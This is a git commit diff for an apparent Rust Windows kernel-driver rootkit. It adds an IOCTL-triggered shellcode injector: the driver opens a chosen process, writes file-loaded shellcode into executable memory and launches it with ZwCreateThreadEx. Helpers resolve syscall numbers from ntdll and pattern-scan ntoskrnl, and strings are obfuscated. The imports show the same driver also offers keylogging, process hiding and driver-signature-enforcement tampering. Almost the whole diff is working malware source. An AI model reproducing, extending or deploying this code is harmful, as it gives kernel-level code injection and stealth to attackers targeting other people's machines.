Adding Injection functionality via ZwCreateTheadEx

This commit is contained in:
João
2024-07-26 19:45:08 -03:00
parent 13a183c2f3
commit a5083162b6
4 changed files with 416 additions and 50 deletions

117
driver/src/injection/mod.rs Normal file
View File

@@ -0,0 +1,117 @@
#![allow(non_snake_case)]
use {
crate::{
includes::{MmCopyVirtualMemory, ZwCreateThreadExType},
process::Process,
utils::{find_zw_function, read_file, InitializeObjectAttributes}
},
core::{
ffi::c_void, ptr::null_mut
},
obfstr::obfstr, shared::structs::TargetInjection,
wdk_sys::{
ntddk::{
IoGetCurrentProcess, ZwAllocateVirtualMemory, ZwOpenProcess
},
_MODE::KernelMode, *
}
};
pub struct Injection;
impl Injection {
/// Injection Shellcode in Thread.
///
/// # Parameters
/// - `target`: The identifier of the target process (PID) to injection shellcode.
///
/// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
///
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
let pid = (*target).pid;
let path = &(*target).path;
let mut h_process: HANDLE = null_mut();
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
Some(addr) => addr as *mut c_void,
None => return STATUS_UNSUCCESSFUL
};
let target_eprocess = match Process::new(pid) {
Some(p) => p,
None => return STATUS_UNSUCCESSFUL,
};
let mut object_attributes = InitializeObjectAttributes(None, 0, None, None, None);
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut object_attributes,
&mut client_id,
);
if !NT_SUCCESS(status) {
log::error!("ZwOpenProcess Failed With Status: {status}");
return status;
}
let shellcode = match read_file(path) {
Ok(buffer) => buffer,
Err(error) => return error
};
let mut base_address = null_mut();
let mut region_size = shellcode.len() as u64;
status = ZwAllocateVirtualMemory(
h_process,
&mut base_address,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if !NT_SUCCESS(status) {
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
return status;
}
// ZwProtectVirtualMemory
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
shellcode.as_ptr() as _,
target_eprocess.e_process,
base_address,
shellcode.len() as u64,
KernelMode as i8,
&mut result_number,
);
let ZwCreateThreadEx = core::mem::transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
let mut h_thread = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
status = ZwCreateThreadEx(
&mut h_thread,
THREAD_ALL_ACCESS,
&mut obj_attr,
h_process,
core::mem::transmute(base_address),
null_mut(),
0,
0,
0,
0,
null_mut()
);
if !NT_SUCCESS(status) {
log::error!("ZwCreateThreadEx Failed With Status: {status}");
return status;
}
STATUS_SUCCESS
}
}

View File

@@ -1,24 +1,20 @@
use {
crate::{
driver::Driver, handle_driver, handle_process,
handle_callback, handle_thread, keylogger::set_keylogger_state,
process::Process, thread::Thread, callbacks::Callback,
handle_module, module::Module
callbacks::Callback, driver::Driver,
handle_callback, handle_driver, handle_injection,
handle_module, handle_process, handle_thread,
keylogger::set_keylogger_state, module::Module,
process::Process, thread::Thread, injection::Injection
},
alloc::boxed::Box,
core::mem::size_of,
hashbrown::HashMap,
lazy_static::lazy_static,
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS},
shared::{
ioctls::*,
structs::{
DriverInfo, TargetDriver, EnumerateInfoInput, Keylogger,
ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess,
TargetThread, ThreadListInfo, DSE, CallbackInfoOutput, CallbackInfoInput,
ModuleInfo
}
structs::*,
},
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
};
#[cfg(not(feature = "mapper"))]
@@ -147,6 +143,13 @@ lazy_static! {
status
}) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION");
let status = unsafe { handle_injection!(stack, Injection::injection_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// If the feature is a mapper, these functionalities will not be added.
#[cfg(not(feature = "mapper"))] {

View File

@@ -89,6 +89,21 @@ macro_rules! handle_driver {
}};
}
/// Macro to handle injection-related operations.
///
/// Executes the given action based on the provided parameters and returns the status.
#[macro_export]
macro_rules! handle_injection {
($stack:expr, $action:expr, $type_:ty) => {{
let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) {
Ok(buffer) => buffer,
Err(status) => return status,
};
$action(input_buffer)
}};
}
/// Macro to handle registry-related operations.
///
/// Executes the given action based on the provided parameters and returns the status.

View File

@@ -1,26 +1,31 @@
use {
obfstr::obfstr,
alloc::string::String,
crate::process::Process,
crate::includes::SystemModuleInformation,
core::{ffi::CStr, ptr::null_mut},
crate::{includes::SystemModuleInformation, process::Process},
alloc::{string::String, vec, vec::Vec},
core::{
ffi::{c_void, CStr},
mem::{size_of, zeroed},
ptr::{null_mut, read},
fmt::Write
},
ntapi::{
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
ntzwapi::ZwQuerySystemInformation,
},
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
ntzwapi::ZwQuerySystemInformation
},
ntddk::{ZwCreateFile, ZwQueryInformationFile},
obfstr::obfstr,
wdk_sys::{
*,
ntddk::{
ExAllocatePool, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess,
},
IRP, KAPC_STATE, NTSTATUS, NT_SUCCESS, STATUS_INVALID_PARAMETER,
_IO_STACK_LOCATION, _POOL_TYPE::NonPagedPool
},
winapi::{
ctypes::c_void,
um::winnt::{
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE
ZwMapViewOfSection, ZwOpenSection, ZwReadFile, ZwClose, ZwUnmapViewOfSection
},
_FILE_INFORMATION_CLASS::FileStandardInformation,
_POOL_TYPE::NonPagedPool,
_SECTION_INHERIT::ViewUnmap
},
winapi::um::winnt::{
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
},
};
@@ -94,10 +99,14 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
return None;
}
RtlZeroMemory(info_module as *mut c_void, return_bytes as usize);
let status = ZwQuerySystemInformation(SystemModuleInformation,info_module as *mut c_void,return_bytes,&mut return_bytes);
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
let status = ZwQuerySystemInformation(
SystemModuleInformation,
info_module as *mut winapi::ctypes::c_void,
return_bytes,
&mut return_bytes
);
if !NT_SUCCESS(status) {
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
return None;
@@ -107,7 +116,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
for i in 0..module_count as usize {
let name = (*info_module).modules[i].image_name;
let module_base = (*info_module).modules[i].image_base;
let module_base = (*info_module).modules[i].image_base as *mut c_void;
if let Ok(name_str) = core::str::from_utf8(&name) {
if name_str.contains(module_name) {
return Some(module_base);
@@ -129,16 +138,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
///
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
log::error!("INVALID DOS SIGNATURE");
return None;
}
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
log::error!("INVALID NT SIGNATURE");
return None;
}
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32;
@@ -181,16 +181,7 @@ pub unsafe fn get_function_address_asynckey(name: &str, dll_base: *mut c_void) -
KeStackAttachProcess(target.e_process, &mut apc_state);
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
log::error!("INVALID DOS SIGNATURE");
return None;
}
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
log::error!("INVALID NT SIGNATURE");
return None;
}
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32;
@@ -267,6 +258,246 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
None
}
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
let mut section_handle = null_mut();
let ntdll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
let mut obj_attr = OBJECT_ATTRIBUTES {
ObjectName: &mut ntdll.to_unicode(),
SecurityDescriptor: null_mut(),
SecurityQualityOfService: null_mut(),
RootDirectory: null_mut(),
Attributes: OBJ_CASE_INSENSITIVE,
Length: size_of::<OBJECT_ATTRIBUTES>() as u32
};
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
if !NT_SUCCESS(status) {
log::error!("ZwOpenSection Failed With Status: {status}");
return None
}
let mut large: LARGE_INTEGER = zeroed();
let mut ntdll_addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
log::error!("ZwMapViewOfSection Failed With Status: {status}");
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return None
}
let dos_header = ntdll_addr as *mut IMAGE_DOS_HEADER;
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let ntdll_addr = ntdll_addr as usize;
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = (ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32;
let ordinals = (ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16;
let addresss = (ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32;
for i in 0..(*export_directory).NumberOfNames as isize {
let name_module = CStr::from_ptr((ntdll_addr + *names.offset(i) as usize) as *const i8).to_str().ok()?;
let ordinal = *ordinals.offset(i);
let address = (ntdll_addr + *addresss.offset(ordinal as isize) as usize) as *const u8;
if name_module == function_name {
if read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
&& read(address.add(6)) == 0x00
&& read(address.add(7)) == 0x00
{
let high = read(address.add(5)) as u16;
let low = read(address.add(4)) as u16;
let ssn = (high << 8) | low;
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return Some(ssn);
}
}
}
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return None
}
///
///
///
///
///
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
let ssn = match get_syscall_index(name) {
Some(ssn) => ssn,
None => return None,
};
let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) {
Some(addr) => addr,
None => return None,
};
let ssn_bytes = ssn.to_le_bytes();
let pattern = [
0x48, 0x8B, 0xC4, // mov rax, rsp
0xFA, // cli
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
0x50, // push rax
0x9C, // pushfq
0x6A, 0x10, // push 10h
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
0x50, // push rax
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
];
let dos_header = ntoskrnl_addr as *mut IMAGE_DOS_HEADER;
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *mut IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == obfstr!(".text") {
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
if let Some(offset) = data.windows(pattern.len())
.position(|window| {
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some(text_start + offset);
}
}
}
return None
}
///
///
///
///
#[allow(non_snake_case)]
pub fn InitializeObjectAttributes(
object_name: Option<*mut UNICODE_STRING>,
attributes: u32,
root_directory: Option<*mut c_void>,
security_descriptor: Option<*mut c_void>,
security_quality_of_service: Option<*mut c_void>
) -> OBJECT_ATTRIBUTES {
OBJECT_ATTRIBUTES {
Length: size_of::<OBJECT_ATTRIBUTES>() as u32,
RootDirectory: root_directory.unwrap_or(null_mut()),
ObjectName: object_name.unwrap_or(null_mut()),
Attributes: attributes,
SecurityDescriptor: security_descriptor.unwrap_or(null_mut()),
SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut())
}
}
///
///
///
///
///
pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
let mut path_nt = String::new();
write!(&mut path_nt, "\\??\\{}", path).unwrap();
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() };
let mut obj_attr = InitializeObjectAttributes(
Some(&mut file_name.to_unicode()),
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
None,
None,
None
);
let mut h_file: HANDLE = null_mut();
let mut status = unsafe {
ZwCreateFile(
&mut h_file,
GENERIC_READ,
&mut obj_attr,
&mut io_status_block,
null_mut(),
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
null_mut(),
0,
)
};
if !NT_SUCCESS(status) {
log::error!("ZwCreateFile Failed With Status: {status}");
unsafe { ZwClose(h_file) };
return Err(status);
}
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
status = unsafe {
ZwQueryInformationFile(
h_file,
&mut io_status_block,
&mut file_info as *mut _ as *mut c_void,
size_of::<FILE_STANDARD_INFORMATION>() as u32,
FileStandardInformation
)
};
if !NT_SUCCESS(status) {
log::error!("ZwQueryInformationFile Failed With Status: {status}");
unsafe { ZwClose(h_file) };
return Err(status);
}
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() };
byte_offset.QuadPart = 0;
let mut shellcode = vec![0u8; file_size];
status = unsafe {
ZwReadFile(
h_file,
null_mut(),
None,
null_mut(),
&mut io_status_block,
shellcode.as_mut_ptr() as *mut c_void,
file_size as u32,
&mut byte_offset,
null_mut()
)
};
if !NT_SUCCESS(status) {
log::error!("ZwReadFile Failed With Status: {status}");
unsafe { ZwClose(h_file) };
return Err(status);
}
unsafe { ZwClose(h_file) };
return Ok(shellcode)
}
/// Validates if the given address is within the kernel memory range.
///
/// # Parameters